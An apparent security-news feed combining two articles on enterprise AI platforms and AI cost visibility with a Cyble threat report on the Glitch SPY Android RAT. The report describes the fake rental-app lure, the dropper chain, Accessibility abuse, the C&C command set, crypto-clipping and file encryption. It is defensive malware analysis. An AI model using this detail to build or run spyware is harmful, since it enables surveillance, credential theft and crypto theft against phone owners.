<h2 class="wp-block-heading">Part of a broader shift toward integrated AI platforms</h2>



<p>The broader shift in how CIOs are likely to evaluate AI infrastructure offerings is also influencing how data warehouse and database vendors are evolving their platforms.</p>



<p>Over the past several months, <a href="https://www.infoworld.com/article/4188484/edb-converges-analytics-on-postgres-to-support-ai-agents.html">EnterpriseDB (EDB)</a>, <a href="https://www.infoworld.com/article/4190042/pgedge-joins-rush-to-merge-oltp-and-olap-storage-to-support-ai.html">pgEdge</a>, and <a href="https://www.infoworld.com/article/4185622/databricks-pitches-ltap-as-a-new-foundation-for-agentic-applications.html">Databricks</a> have all introduced new architectures designed to consolidate AI, transactional, and analytical capabilities into their respective data platforms, reducing data movement and the number of systems enterprises need to integrate and manage.</p>



<p>This shift, Leone said, is part of a broader industry correction after enterprises spent the first wave of generative AI deployments assembling multiple specialized services, creating operational complexity that frequently slowed production deployments.</p>



<p>Chaturvedi noted that enterprise AI is moving away from an “assembly-required” model toward integrated platforms that package core AI capabilities together as organizations seek to reduce the integration tax associated with multi-vendor AI stacks.</p>
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<title><![CDATA[Beware of AI costs hidden in plain sight]]></title>
<description><![CDATA[Rapid and widespread AI adoption has most CIOs blind to what AI is really costing their organizations.



Nearly two-thirds of companies say employees have used AI without proper oversight, and almost half of large enterprises don’t have full insight into what AI tools employees are using, accord...]]></description>
<link>https://tsecurity.de/de/3635184/it-nachrichten/beware-of-ai-costs-hidden-in-plain-sight/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635184/it-nachrichten/beware-of-ai-costs-hidden-in-plain-sight/</guid>
<pubDate>Tue, 30 Jun 2026 12:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Rapid and widespread AI adoption has most CIOs blind to what AI is really costing their organizations.</p>



<p>Nearly two-thirds of companies say employees have used AI without proper oversight, and almost half of large enterprises don’t have full insight into what AI tools employees are using, according to Protiviti’s <a href="https://www.protiviti.com/sites/default/files/2026-05/aipulse26-vol4-survey-booklet-0426-na-en-protiviti.pdf" rel="nofollow">2026 AI Pulse Survey</a>. Meanwhile, 77% of technology leaders say AI adoption is already outpacing their governance capabilities, per IBM’s <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/2026-cxo" rel="nofollow">2026 Tech Leader Study</a>.</p>



<p>“Combine the breakneck pace at which companies are looking to embrace AI with the low technical barrier to entry for using AI, and you’ve got an incredibly challenging space to keep tabs on,” says <a href="https://www.linkedin.com/in/andrew-retrum-9134012/" rel="nofollow">Andrew Retrum</a>, managing director and global technology risk and resilience practice lead at Protiviti.</p>



<p>This isn’t shadow IT in the old sense, as financial exposure isn’t rogue employees signing up for ChatGPT. It’s the AI costs mounting in vendor renewals, usage-based consumption, and business unit budgets. A few CIOs have full visibility, but only because they built it into their architecture from day one. Others are still catching up. And some are finding that cost isn’t even the most important thing they can’t see.</p>



<h2 class="wp-block-heading">Where the money hides</h2>



<p>AI costs are showing up in three places that most organizations aren’t watching closely enough.</p>



<p>The first is vendor-embedded AI. Software providers are quietly adding AI features to existing tools, and the costs show up as renewal increases — not new line items. Some solutions are showing a 30% cost uplift as vendors embed AI functionality without upfront disclosure, according to <a href="https://www.gartner.com/en/documents/6983866" rel="nofollow">Gartner research from September 2025</a>.</p>



<p>The second is usage-based pricing. “The bulk of GenAI cost isn’t in the build, it’s in the run: inference, API calls, fine-tuning, and usage-based consumption that scales fast and unpredictably,” Gartner notes.</p>



<p><a href="https://www.linkedin.com/in/philleslie/" rel="nofollow">Phil Leslie</a>, chief technology and innovation officer at Cornerstone Research, has seen this firsthand. “With Gemini, monitoring cost is largely irrelevant; the fee is fixed,” he says. “With Claude Code, costs are usage-based, and as adoption grows, so does spend. We noticed costs rising and have been building our dashboards accordingly.”</p>



<p>Getting a complete picture isn’t easy. “Getting a truly holistic view across Claude Code, Claude.ai, and our Office plugins is not trivial,” Leslie says.</p>



<p>The third bucket is business unit–led adoption. Various functions are buying AI solutions via credit cards or departmental budgets, outside IT’s line of sight.</p>



<h2 class="wp-block-heading">Visibility by design</h2>



<p>At Cox Business, Head of AI <a href="https://www.linkedin.com/in/ericpace/" rel="nofollow">Eric Pace</a> says the company has achieved full visibility into AI spend. But it required intentional architecture and governance from the start.</p>



<p>“We have 100% visibility into all AI spend, including SaaS-based modules through activations in BAU [business-as-usual] operations, new purchases and solutions, and all token consumption across the enterprise,” Pace says.</p>



<p>The key was centralization paired with clear accountability. “We were really intentional about building a model in our organization where AI is not a handoff, with one team building and another team simply receiving it,” says Pace. “We chose to centralize the AI function early to align with company-wide objectives, while business teams provide the workflow context that makes adoption real.”</p>



<p>Cox Business also built visibility into its architecture by default. “All AI traffic is routed through our AI gateway and runtime security solutions,” Pace says. “This includes all on-prem and cloud-based capabilities.”</p>



<p>That architecture extends to network monitoring. “We can see all traffic ingress and egress on the network and can also see what is running on our company devices,” he adds. “When we identify traffic patterns outside of our desired path or standard, we work with our people to find their way into compliance.”</p>



<p>Employees have access to the tools they need without creating ungoverned sprawl. “We have provided flexible ecosystem and capability sets that allow our people to operate with ‘freedom in a framework,’” says Pace. “And they generally find that they have access to everything they need.”</p>



<h2 class="wp-block-heading"><strong>When cost takes a back seat</strong></h2>



<p>Not every organization is racing to solve the cost visibility problem. For some, other concerns take priority.</p>



<p>“Cost visibility is deliberately secondary right now,” says Leslie of Cornerstone Research. “The harder problem is the nature of our work.”</p>



<p>Cornerstone operates in high-stakes litigation, where expert reports must be error-free. “Figuring out how to unlock the benefits without compromising that trust is the primary challenge,” Leslie says. “Cost matters. It is just not the binding constraint in this phase.”</p>



<p>Leslie also points out a nuance that complicates cost optimization: The highest spenders are often the highest performers.</p>



<p>“Something like 80% of our costs come from 10% of our users — and that 10% tends to be our most experienced people, using AI for legitimate, high-stakes reasons,” he says. “You cannot just set a uniform ceiling without risking exactly the use cases you want to encourage.”</p>



<p>For now, Cornerstone uses caps that create friction when costs get high, paired with override mechanisms. “A high-cost user is often a signal of high-value work, not waste,” Leslie says.</p>



<h2 class="wp-block-heading">Scale changes the game</h2>



<p>The visibility challenge looks different depending on organization size. Leslie spent a decade at Amazon before joining Cornerstone and sees a clear contrast. “Amazon is not just bigger — it is more diverse,” he says. “At that scale, simple rules are often inefficient, but you reach for them anyway because managing complexity requires blunt instruments.”</p>



<p>At Cornerstone, he can be more surgical. “The feedback loops are short enough that I can have a direct conversation with a practice lead and understand in a few minutes what a team is trying to accomplish,” Leslie says. “That means we can tailor cost management to the specific situation — confidently incurring higher costs where we know it makes sense, rather than guessing.”</p>



<p>At Cox Business, scale required a different approach. “We centralized our capital investments and distributed enablement where teams are building enterprise applications outside of the center of excellence,” Pace says. Token consumption budgets are centralized but communicated constantly to larger consuming departments, and top consumers are interviewed frequently to understand value.</p>



<h2 class="wp-block-heading">What’s working</h2>



<p>For organizations still building visibility, it’s helpful to begin with the basics. “Start with an inventory — you can’t defend what you can’t see,” says Protiviti’s Retrum. “Assign clear ownership across IT, security, legal, and the business. And treat it as an ongoing discipline, not a one-time effort.”</p>



<p>Prioritization matters, too. “Don’t let perfect be the enemy of good,” Retrum advises. “Prioritize your highest-risk use cases first — where AI is touching sensitive data, customer-facing decisions, or regulated processes. Build your guardrails around those, then expand outward.”</p>



<p>Gartner recommends tagging AI purchases in procurement, tracking AI spend separately in IT financial management systems, and negotiating AI-specific cost clauses into cloud and SaaS renewals before the next renewal cycle.</p>



<p>At Cox Business, governance isn’t just about control — it’s about focus. “We have used ‘no’ liberally to keep our people focused on the things that will get us to value quicker,” Pace says.</p>



<h2 class="wp-block-heading">Beyond the budget</h2>



<p>For some organizations, the bigger risk isn’t runaway costs: It’s what happens when AI goes wrong.</p>



<p>“Shadow IT is not primarily a cost control issue — it is a reputational risk issue,” Leslie notes. “Depending on your firm and how AI is used, rogue use can cause real harm. That is the risk worth managing.”</p>



<p>Cost visibility matters. But for some CIOs, it may not be the most important thing they’re missing.</p>
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<title><![CDATA[Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App]]></title>
<description><![CDATA[Executive Summary




Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as Glitch SPY, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.


Based on the Polish-language lure a...]]></description>
<link>https://tsecurity.de/de/3635150/it-security-nachrichten/glitch-spy-an-emerging-android-rat-distributed-through-a-fake-polish-rental-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635150/it-security-nachrichten/glitch-spy-an-emerging-android-rat-distributed-through-a-fake-polish-rental-app/</guid>
<pubDate>Tue, 30 Jun 2026 12:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Glitch SPY" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6.jpg 1200w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-300x150.jpg 300w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-1024x512.jpg 1024w, https://cyble.com/wp-content/uploads/2026/06/Blog-images-Cyble-6-768x384.jpg 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App 1"></p>
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<h2 class="wp-block-heading">Executive Summary</h2>
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<p>Cyble Research and Intelligence Labs identified an emerging Android malware family tracked as <strong>Glitch SPY</strong>, distributed through a fraudulent Polish apartment and house rental platform designed to lure users into downloading an Android APK.</p>
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<p>Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, targeting users in Poland or Polish expats.</p>
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<p>The downloaded application functions as a dropper and installs the Glitch SPY payload after convincing the user to allow installation from unknown sources. Glitch SPY prompts the victim to enable Android Accessibility Service, which it abuses to automate permission grants, interact with the device UI, extract visible screen content, perform gestures, support remote input, and enable further post-infection activity.</p>
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<p>Glitch SPY maintains a persistent WebSocket channel to its C&amp;C server and supports over 70 commands spanning live screen streaming and remote control, screenshot and screen-reader capture, SMS, contact, call log, and location theft, camera and microphone surveillance, keylogging, file management, and shell execution.</p>
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<p>Beyond standard surveillance, it includes a crypto-clipper that swaps copied wallet addresses across multiple blockchain formats, file encryption/decryption routines, device-unlock and credential-capture logic, and a hidden remote-browser capability that lets attackers conduct web-based account takeover from the victim's own device and IP.</p>
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<p>The Builder module lets operators set a custom app name, package ID, icon, and decoy URL per payload, indicating the platform is designed for redistribution across multiple campaigns, not a single targeted operation.</p>
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<p><!-- wp:image {"id":121430,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-1-%E2%80%93-Glitch-SPY-Attack-Chain-1024x601.png" alt="Figure 1 – Glitch SPY Attack Chain" class="wp-image-121430"><figcaption class="wp-element-caption"><em>Figure 1 – Glitch SPY Attack Chain</em></figcaption></figure>
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<h2 class="wp-block-heading">Key Takeaways<strong></strong></h2>
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<ul class="wp-block-list"><!-- wp:list-item -->
<li>Glitch SPY is an emerging Android RAT/builder platform identified through branding observed on an exposed C&amp;C admin panel.</li>
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<li>The malware is distributed via a fake Polish rental app website that encourages users to download and install an APK outside official app stores.</li>
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<li>The downloaded application is the Brokewell Android Loader, which acts as a dropper and deploys the Glitch SPY payload.</li>
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<li>Glitch SPY heavily abuses the Android Accessibility Service to auto-grant permissions, extract on-screen content, perform taps and gestures, and operate the device with minimal user interaction.</li>
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<li>Glitch SPY supports extensive surveillance and theft capabilities, including screen streaming, screenshots, keylogging, SMS theft, contact and call log collection, file access, audio and camera capture, clipboard monitoring, location tracking, and remote browser control.</li>
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<li>The malware includes a crypto-clipper that swaps copied wallet addresses across multiple formats (ETH/EVM, TRON, Bitcoin legacy, and Bech32) with attacker-controlled addresses, directly targeting cryptocurrency users.</li>
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<li>The exposed Glitch SPY panel confirms the presence of modules such as Agents, Viewer, Builder, Cryptor, Dropper, Settings, and Payloads.</li>
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<li>The Builder module indicates that threat actors can generate customized Android payloads with configurable names, package IDs, icons, feature modules, decoy WebView URLs, and optional Telegram alerting.</li>
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<h2 class="wp-block-heading">Overview<strong></strong></h2>
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<p><a href="https://cyble.com/resources/research-reports/">Cyble Research and Intelligence Labs</a> identified an emerging Android malware family tracked as <strong>Glitch SPY</strong>, based on branding observed on an exposed command-and-control (C&amp;C) admin panel. The <a href="https://cyble.com/knowledge-hub/what-is-malware/">malware</a> was distributed via the suspicious domain tutaj-dompl[.]com, which appears to be a Polish apartment and house rental platform.</p>
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<p>The website advertises verified apartments, viewing reservations, direct contact with property owners, and a simplified rental process without broker commissions. Its primary objective is to encourage users to download an Android APK to reserve apartment viewings, check availability, save listings, and receive confirmation updates.</p>
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<p><!-- wp:image {"id":121434,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-2-Fake-Tutaj-Dom-distribution-website.png" alt="" class="wp-image-121434"><figcaption class="wp-element-caption"><em>Figure 2 - Fake Tutaj Dom distribution website</em></figcaption></figure>
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<p>The lure is socially plausible, as users searching for rental properties may install a dedicated application to secure viewing slots or communicate with property owners. Based on the Polish-language lure and rental-themed distribution website, the activity appears to be Poland-focused, particularly targeting users searching for rental properties in Poland.</p>
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<p>Once installed, the application displays the rental-themed website as a decoy interface, while the Glitch SPY payload runs in the background and initiates malicious activity.</p>
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<p>During analysis, the malware was observed communicating with the C&amp;C domain sportypointsrewards[.]com. Accessing the C&amp;C infrastructure revealed an admin login panel branded as Glitch SPY, which prompted for a username and password. We also identified an additional Glitch SPY admin panel URL gich[.]etherraffleexchange[.]us.</p>
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<p>However, no communicating APK associated with that second panel has been recovered at the time of analysis.</p>
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<p><!-- wp:image {"id":121437,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-3-Glitch-SPY-admin-login-panel.png" alt="" class="wp-image-121437"><figcaption class="wp-element-caption"><em>Figure 3 - Glitch SPY admin login panel</em></figcaption></figure>
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<p>Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:</p>
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<p><!-- wp:image {"id":121438,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-4-%E2%80%93-Glitch-SPY-dashboard.png" alt="Figure 4 – Glitch SPY dashboard" class="wp-image-121438"><figcaption class="wp-element-caption"><em>Figure 4 – Glitch SPY dashboard</em></figcaption></figure>
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<li>The <strong>Agents</strong> module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.</li>
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<li>The <strong>Viewer</strong> module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.</li>
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<li>The <strong>Builder</strong> module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.</li>
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<li>The <strong>Cryptor</strong> module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.</li>
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<li>The <strong>Dropper</strong> module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.</li>
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<li>The <strong>Payloads</strong> module appears to store APKs generated by the Builder and Dropper modules.</li>
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<p>Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.</p>
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<p>After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.</p>
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<p>This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.</p>
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<p>A detailed technical analysis of these capabilities is provided in the following section.</p>
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<h2 class="wp-block-heading">Technical Analysis</h2>
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<p>The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.</p>
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<p>After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.</p>
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<p><!-- wp:image {"id":121441,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-5-Glitch-SPY-installation-activity.png" alt="" class="wp-image-121441"><figcaption class="wp-element-caption"><em>Figure 5 - Glitch SPY installation activity</em></figcaption></figure>
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<p><strong>Abuse of Android Accessibility Service</strong></p>
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<p>Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.</p>
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<p>The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.</p>
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<p><strong>Command and Control</strong></p>
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<p>After installation, Glitch SPY starts its core C&amp;C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&amp;C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.</p>
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<p>The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.</p>
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<p>The complete list of commands is provided below.</p>
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<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Command</strong></td>
<td><strong>Feature</strong></td>
</tr>
<tr>
<td>request_screen_stream</td>
<td>Starts live screen streaming from the infected device to the C&amp;C panel.</td>
</tr>
<tr>
<td>stop_screen_stream</td>
<td>Stops the active screen-streaming session.</td>
</tr>
<tr>
<td>request_screenshot</td>
<td>Captures a screenshot of the infected device screen and returns it to the C&amp;C.</td>
</tr>
<tr>
<td>request_screen_reader_text</td>
<td>Uses Accessibility to extract visible on-screen text and send it to the C&amp;C Server.</td>
</tr>
<tr>
<td>request_sms</td>
<td>Collects SMS messages from the infected device.</td>
</tr>
<tr>
<td>send_sms</td>
<td>Sends an SMS message from the infected device using TA provided content.</td>
</tr>
<tr>
<td>request_contacts</td>
<td>Extracts the victim’s contact list.</td>
</tr>
<tr>
<td>request_call_log</td>
<td>Collects call history from the infected device.</td>
</tr>
<tr>
<td>request_location</td>
<td>Retrieves the device location.</td>
</tr>
<tr>
<td>request_app_list</td>
<td>Enumerates installed applications on the device.</td>
</tr>
<tr>
<td>request_device_accounts</td>
<td>Collects account information configured on the Android device.</td>
</tr>
<tr>
<td>request_system_info</td>
<td>Collects device metadata</td>
</tr>
<tr>
<td>request_file_list</td>
<td>Lists files and folders from a specified path on the device.</td>
</tr>
<tr>
<td>request_file_download</td>
<td>Downloads a selected file from the infected device to the C&amp;C.</td>
</tr>
<tr>
<td>request_folder_zip_download</td>
<td>Compresses a folder and prepares it for download</td>
</tr>
<tr>
<td>file_upload_start</td>
<td>Starts a file upload session.</td>
</tr>
<tr>
<td>file_upload_chunk</td>
<td>Transfers a chunk of a file being uploaded to the infected device.</td>
</tr>
<tr>
<td>file_upload_finish</td>
<td>Finalizes the file upload operation on the device.</td>
</tr>
<tr>
<td>file_upload_cancel</td>
<td>Cancels an active file upload session.</td>
</tr>
<tr>
<td>file_mkdir</td>
<td>Creates a new directory on the infected device.</td>
</tr>
<tr>
<td>file_rename</td>
<td>Renames a selected file or folder on the device.</td>
</tr>
<tr>
<td>file_run</td>
<td>Opens or executes a selected file on the infected device.</td>
</tr>
<tr>
<td>file_zip_here</td>
<td>Creates a ZIP archive next to the selected folder on the device.</td>
</tr>
<tr>
<td>file_crypto_lock</td>
<td>Encrypts a selected file, likely producing a .enc file and removing the original.</td>
</tr>
<tr>
<td>file_crypto_unlock</td>
<td>Decrypts a previously encrypted .enc file.</td>
</tr>
<tr>
<td>request_offline_keylog</td>
<td>Retrieves offline keylog data from the device.</td>
</tr>
<tr>
<td>start_keylogger</td>
<td>Starts keylogging</td>
</tr>
<tr>
<td>stop_keylogger</td>
<td>Stops the active keylogging module.</td>
</tr>
<tr>
<td>request_camera_stream</td>
<td>Starts camera streaming from the infected device.</td>
</tr>
<tr>
<td>stop_camera_stream</td>
<td>Stops the active camera stream.</td>
</tr>
<tr>
<td>start_audio</td>
<td>Starts audio capture from the infected device.</td>
</tr>
<tr>
<td>stop_audio</td>
<td>Stops audio capture.</td>
</tr>
<tr>
<td>start_clipboard_monitor</td>
<td>Starts monitoring the device clipboard.</td>
</tr>
<tr>
<td>stop_clipboard_monitor</td>
<td>Stops clipboard monitoring.</td>
</tr>
<tr>
<td>clipper_get_config</td>
<td>Retrieves the current crypto-clipper configuration from the device.</td>
</tr>
<tr>
<td>clipper_set_config</td>
<td>Pushes or updates clipper rules, likely including wallet replacement addresses.</td>
</tr>
<tr>
<td>clipper_inject_clipboard</td>
<td>Forces/injects clipboard content on the victim device.</td>
</tr>
<tr>
<td>execute_command</td>
<td>Executes a TA-provided shell command on the infected device.</td>
</tr>
<tr>
<td>remote_browser_start</td>
<td>Starts a remote browser session on the infected device.</td>
</tr>
<tr>
<td>remote_browser_stop</td>
<td>Stops the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_navigate</td>
<td>Navigates the remote browser to a supplied URL.</td>
</tr>
<tr>
<td>remote_browser_click</td>
<td>Performs a click action inside the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_text</td>
<td>Enter the TA-provided text into the remote browser.</td>
</tr>
<tr>
<td>remote_browser_swipe</td>
<td>Performs a swipe gesture inside the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_key</td>
<td>Sends keyboard key actions to the remote browser, such as Enter, Backspace, Tab, or arrow keys.</td>
</tr>
<tr>
<td>remote_browser_js_fill</td>
<td>Fills fields in the remote browser using JavaScript-style automation.</td>
</tr>
<tr>
<td>remote_browser_clear_field</td>
<td>Clears a selected input field in the remote browser.</td>
</tr>
<tr>
<td>remote_browser_action</td>
<td>Performs a generic browser-side action, likely used for submit, back, reload, or similar UI actions.</td>
</tr>
<tr>
<td>remote_browser_set_mode</td>
<td>Switches the remote browser view mode, such as desktop/mobile mode.</td>
</tr>
<tr>
<td>remote_browser_fps</td>
<td>Adjusts the remote browser streaming or update frame rate.</td>
</tr>
<tr>
<td>tap_ui_submit</td>
<td>Attempts to tap a visible submit/OK/Done button or sends Enter to submit the current UI.</td>
</tr>
<tr>
<td>pattern_fetch</td>
<td>Retrieves a stored Android unlock pattern from the malware/device-side store.</td>
</tr>
<tr>
<td>pattern_store</td>
<td>Saves a TA-provided Android unlock pattern for later reuse.</td>
</tr>
<tr>
<td>pattern_clear_store</td>
<td>Clears the saved unlock pattern from storage.</td>
</tr>
<tr>
<td>pattern_auto_unlock</td>
<td>Uses a saved or provided pattern to attempt automatic device unlock.</td>
</tr>
<tr>
<td>credential_fetch</td>
<td>Retrieves a stored PIN/password credential value or credential state.</td>
</tr>
<tr>
<td>credential_manual_save</td>
<td>Saves a PIN/password credential provided by the TA on the device side.</td>
</tr>
<tr>
<td>credential_manual_save_unlock</td>
<td>Saves a supplied credential and immediately attempts to unlock the device with it.</td>
</tr>
<tr>
<td>credential_auto_unlock</td>
<td>Attempts to unlock the device automatically using a previously captured or saved credential.</td>
</tr>
<tr>
<td>credential_clear</td>
<td>Clears the stored PIN/password credentials from the malware’s storage.</td>
</tr>
<tr>
<td>prompt_permission_notifications</td>
<td>Opens or triggers the Android notification permission flow.</td>
</tr>
<tr>
<td>prompt_permission_storage</td>
<td>Opens or triggers the storage permission flow.</td>
</tr>
<tr>
<td>prompt_permission_location</td>
<td>Opens or triggers the location permission flow.</td>
</tr>
<tr>
<td>prompt_permission_battery</td>
<td>Opens the battery optimization exemption flow.</td>
</tr>
<tr>
<td>prompt_permission_all_files</td>
<td>Opens the “All files access” permission screen.</td>
</tr>
<tr>
<td>activate_device_admin</td>
<td>Launches or triggers Device Admin activation for the malware.</td>
</tr>
<tr>
<td>deactivate_device_admin</td>
<td>Attempts to remove Device Admin rights from the malware.</td>
</tr>
<tr>
<td>block_biometric</td>
<td>Enables/disables biometric prompt suppression to force PIN/password fallback.</td>
</tr>
<tr>
<td>wake_screen</td>
<td>Wake the victim's device screen.</td>
</tr>
<tr>
<td>lock_device</td>
<td>Locks the device screen</td>
</tr>
<tr>
<td>hide_screen</td>
<td>Hides the visible device screen from the victim's side</td>
</tr>
<tr>
<td>hide_app</td>
<td>Hides the malware application icon or disables its launcher component.</td>
</tr>
<tr>
<td>show_app</td>
<td>Restores the malware application launcher component.</td>
</tr>
<tr>
<td>self_uninstall</td>
<td>Attempts to uninstall the malware from the device.</td>
</tr>
<tr>
<td>uninstall_app</td>
<td>Attempts to uninstall a specified application from the device.</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Screen Capture and Live Streaming</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When the TA issues the request_screen_stream command from the C&amp;C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121445,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-6-%E2%80%93-Screen-capture-Activity.png" alt="" class="wp-image-121445"><figcaption class="wp-element-caption"><em>Figure 6 – Screen capture Activity</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&amp;C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This allows the malware to collect sensitive information displayed in banking applications, <a href="https://cyble.com/knowledge-hub/top-secure-messaging-apps-encrypted-chats/">messaging apps</a>, OTP prompts, browser pages, and authentication screens.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>File Manager and File Encryption</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&amp;C as a file listing.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121447,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-7-%E2%80%93-File-encryption-logic.png" alt="" class="wp-image-121447"><figcaption class="wp-element-caption"><em>Figure 7 – File encryption logic</em></figcaption></figure>
<p><!-- /wp:image --></p>
